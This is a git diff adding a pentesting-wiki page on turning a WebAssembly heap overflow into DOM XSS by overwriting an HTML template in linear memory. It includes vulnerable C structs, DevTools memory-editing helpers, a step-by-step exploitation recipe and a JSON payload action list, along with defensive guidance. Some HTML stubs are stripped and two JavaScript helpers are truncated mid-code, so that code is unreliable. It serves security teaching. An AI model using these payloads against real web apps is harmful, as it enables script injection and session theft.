diff --git a/src/SUMMARY.md b/src/SUMMARY.md
index be4d4275a..4c7d77d24 100644
--- a/src/SUMMARY.md
+++ b/src/SUMMARY.md
@@ -725,6 +725,7 @@
- [SOME - Same Origin Method Execution](pentesting-web/xss-cross-site-scripting/some-same-origin-method-execution.md)
- [Sniff Leak](pentesting-web/xss-cross-site-scripting/sniff-leak.md)
- [Steal Info JS](pentesting-web/xss-cross-site-scripting/steal-info-js.md)
+ - [Wasm Linear Memory Template Overwrite Xss](pentesting-web/xss-cross-site-scripting/wasm-linear-memory-template-overwrite-xss.md)
- [XSS in Markdown](pentesting-web/xss-cross-site-scripting/xss-in-markdown.md)
- [XSSI (Cross-Site Script Inclusion)](pentesting-web/xssi-cross-site-script-inclusion.md)
- [XS-Search/XS-Leaks](pentesting-web/xs-search/README.md)
diff --git a/src/pentesting-web/xss-cross-site-scripting/README.md b/src/pentesting-web/xss-cross-site-scripting/README.md
index b173eb4af..f909473eb 100644
--- a/src/pentesting-web/xss-cross-site-scripting/README.md
+++ b/src/pentesting-web/xss-cross-site-scripting/README.md
@@ -894,6 +894,17 @@ You could make the **administrator trigger your self XSS** and steal his cookies
## Other Bypasses
+### Bypassing sanitization via WASM linear-memory template overwrite
+
+When a web app uses Emscripten/WASM, constant strings (like HTML format stubs) live in writable linear memory. A single in‑WASM overflow (e.g., unchecked memcpy in an edit path) can corrupt adjacent structures and redirect writes to those constants. Overwriting a template such as "%.*s
" to "
" turns sanitized input into a JavaScript handler value and yields immediate DOM XSS on render.
+
+Check the dedicated page with exploitation workflow, DevTools memory helpers, and defenses:
+
+{{#ref}}
+wasm-linear-memory-template-overwrite-xss.md
+{{#endref}}
+
+
### Normalised Unicode
You could check is the **reflected values** are being **unicode normalized** in the server (or in the client side) and abuse this functionality to bypass protections. [**Find an example here**](../unicode-injection/index.html#xss-cross-site-scripting).
diff --git a/src/pentesting-web/xss-cross-site-scripting/wasm-linear-memory-template-overwrite-xss.md b/src/pentesting-web/xss-cross-site-scripting/wasm-linear-memory-template-overwrite-xss.md
new file mode 100644
index 000000000..c0aa6d93c
--- /dev/null
+++ b/src/pentesting-web/xss-cross-site-scripting/wasm-linear-memory-template-overwrite-xss.md
@@ -0,0 +1,136 @@
+# WebAssembly linear memory corruption to DOM XSS (template overwrite)
+
+{{#include ../../banners/hacktricks-training.md}}
+
+This technique shows how a memory-corruption bug inside a WebAssembly (WASM) module compiled with Emscripten can be weaponized into a reliable DOM XSS even when input is sanitized. The pivot is to corrupt writable constants in WASM linear memory (e.g., HTML format templates) instead of attacking the sanitized source string.
+
+Key idea: In the WebAssembly model, code lives in non-writable executable pages, but the module’s data (heap/stack/globals/"constants") live in a single flat linear memory (pages of 64KB) that is writable by the module. If buggy C/C++ code writes out-of-bounds, you can overwrite adjacent objects and even constant strings embedded in linear memory. When such a constant is later used to build HTML for insertion via a DOM sink, you can turn sanitized input into executable JavaScript.
+
+Threat model and preconditions
+- Web app uses Emscripten glue (Module.cwrap) to call into a WASM module.
+- Application state lives in WASM linear memory (e.g., C structs with pointers/lengths to user buffers).
+- Input sanitizer encodes metacharacters before storage, but later rendering builds HTML using a format string stored in WASM linear memory.
+- There is a linear-memory corruption primitive (e.g., heap overflow, UAF, or unchecked memcpy).
+
+Minimal vulnerable data model (example)
+```c
+typedef struct msg {
+ char *msg_data; // pointer to message bytes
+ size_t msg_data_len; // length after sanitization
+ int msg_time; // timestamp
+ int msg_status; // flags
+} msg;
+
+typedef struct stuff {
+ msg *mess; // dynamic array of msg
+ size_t size; // used
+ size_t capacity; // allocated
+} stuff; // global chat state in linear memory
+```
+
+Vulnerable logic pattern
+- addMsg(): allocates a new buffer sized to the sanitized input and appends a msg to s.mess, doubling capacity with realloc when needed.
+- editMsg(): re-sanitizes and memcpy’s the new bytes into the existing buffer without ensuring the new length ≤ old allocation → intra‑linear‑memory heap overflow.
+- populateMsgHTML(): formats sanitized text with a baked stub like "%.*s
" residing in linear memory. The returned HTML lands in a DOM sink (e.g., innerHTML).
+
+Allocator grooming with realloc()
+```c
+int add_msg_to_stuff(stuff *s, msg new_msg) {
+ if (s->size >= s->capacity) {
+ s->capacity *= 2;
+ s->mess = (msg *)realloc(s->mess, s->capacity * sizeof(msg));
+ if (s->mess == NULL) exit(1);
+ }
+ s->mess[s->size++] = new_msg;
+ return s->size - 1;
+}
+```
+- Send enough messages to exceed the initial capacity. After growth, realloc() often places s->mess immediately after the last user buffer in linear memory.
+- Overflow the last message via editMsg() to clobber fields inside s->mess (e.g., overwrite msg_data pointers) → arbitrary pointer rewrite within linear memory for data later rendered.
+
+Exploit pivot: overwrite the HTML template (sink) instead of the sanitized source
+- Sanitization protects input, not sinks. Find the format stub used by populateMsgHTML(), e.g.:
+ - "%.*s
" → change to "
"
+- Locate the stub deterministically by scanning linear memory; it is a plain byte string within Module.HEAPU8.
+- After you overwrite the stub, sanitized message content becomes the JavaScript handler for onerror, so adding a new message with text like alert(1337) yields
and executes immediately in the DOM.
+
+Chrome DevTools workflow (Emscripten glue)
+- Break on the first Module.cwrap call in the JS glue and step into the wasm call site to capture pointer arguments (numeric offsets into linear memory).
+- Use typed views like Module.HEAPU8 to read/write WASM memory from the console.
+- Helper snippets:
+```javascript
+function writeBytes(ptr, byteArray){
+ if(!Array.isArray(byteArray)) throw new Error("byteArray must be an array of numbers");
+ for(let i=0;i255) throw new Error(`Invalid byte at index ${i}: ${byte}`);
+ HEAPU8[ptr+i]=byte;
+ }
+}
+function readBytes(ptr,len){ return Array.from(HEAPU8.subarray(ptr,ptr+len)); }
+function readBytesAsChars(ptr,len){
+ const bytes=HEAPU8.subarray(ptr,ptr+len);
+ return Array.from(bytes).map(b=>(b>=32&&b<=126)?String.fromCharCode(b):'.').join('');
+}
+function searchWasmMemory(str){
+ const mem=Module.HEAPU8, pat=new TextEncoder().encode(str);
+ for(let i=0;i bytes.reduce((acc, b, i) => acc + (b << (8*i)), 0); // little-endian bytes -> int
+```
+
+End-to-end exploitation recipe
+1) Groom: add N small messages to trigger realloc(). Ensure s->mess is adjacent to a user buffer.
+2) Overflow: call editMsg() on the last message with a longer payload to overwrite an entry in s->mess, setting msg_data of message 0 to point at (stub_addr + 1). The +1 skips the leading '<' to keep tag alignment intact during the next edit.
+3) Template rewrite: edit message 0 so its bytes overwrite the template with: "img src=1 onerror=%.*s ".
+4) Trigger XSS: add a new message whose sanitized content is JavaScript, e.g., alert(1337). Rendering emits
and executes.
+
+Example action list to serialize and place in ?s= (Base64-encode with btoa before use)
+```json
+[
+ {"action":"add","content":"hi","time":1756840476392},
+ {"action":"add","content":"hi","time":1756840476392},
+ {"action":"add","content":"hi","time":1756840476392},
+ {"action":"add","content":"hi","time":1756840476392},
+ {"action":"add","content":"hi","time":1756840476392},
+ {"action":"add","content":"hi","time":1756840476392},
+ {"action":"add","content":"hi","time":1756840476392},
+ {"action":"add","content":"hi","time":1756840476392},
+ {"action":"add","content":"hi","time":1756840476392},
+ {"action":"add","content":"hi","time":1756840476392},
+ {"action":"add","content":"hi","time":1756840476392},
+ {"action":"edit","msgId":10,"content":"aaaaaaaaaaaaaaaa.\u0000\u0001\u0000\u0050","time":1756885686080},
+ {"action":"edit","msgId":0,"content":"img src=1 onerror=%.*s ","time":1756885686080},
+ {"action":"add","content":"alert(1337)","time":1756840476392}
+]
+```
+
+Why this bypass works
+- WASM prevents code execution from linear memory, but constant data inside linear memory is writable if program logic is buggy.
+- The sanitizer only protects the source string; by corrupting the sink (the HTML template), sanitized input becomes the JS handler value and executes when inserted into the DOM.
+- realloc()-driven adjacency plus unchecked memcpy in edit flows enables pointer corruption to redirect writes to attacker-chosen addresses within linear memory.
+
+Generalization and other attack surface
+- Any in-memory HTML template, JSON skeleton, or URL pattern embedded in linear memory can be targeted to change how sanitized data is interpreted downstream.
+- Other common WASM pitfalls: out-of-bounds writes/reads in linear memory, UAF on heap objects, function-table misuse with unchecked indirect call indices, and JS↔WASM glue mismatches.
+
+Defensive guidance
+- In edit paths, verify new length ≤ capacity; resize buffers before copy (realloc to new_len) or use size-bounded APIs (snprintf/strlcpy) and track capacity.
+- Keep immutable templates out of writable linear memory or integrity-check them before use.
+- Treat JS↔WASM boundaries as untrusted: validate pointer ranges/lengths, fuzz exported interfaces, and cap memory growth.
+- Sanitize at the sink: avoid building HTML in WASM; prefer safe DOM APIs over innerHTML-style templating.
+- Avoid trusting URL-embedded state for privileged flows.
+
+## References
+- [Pwning WebAssembly: Bypassing XSS Filters in the WASM Sandbox](https://zoozoo-sec.github.io/blogs/PwningWasm-BreakingXssFilters/)
+- [V8: Wasm Compilation Pipeline](https://v8.dev/docs/wasm-compilation-pipeline)
+- [V8: Liftoff (baseline compiler)](https://v8.dev/blog/liftoff)
+- [Debugging WebAssembly in Chrome DevTools (YouTube)](https://www.youtube.com/watch?v=BTLLPnW4t5s&t)
+- [SSD: Intro to Chrome exploitation (WASM edition)](https://ssd-disclosure.com/an-introduction-to-chrome-exploitation-webassembly-edition/)
+
+{{#include ../../banners/hacktricks-training.md}}
\ No newline at end of file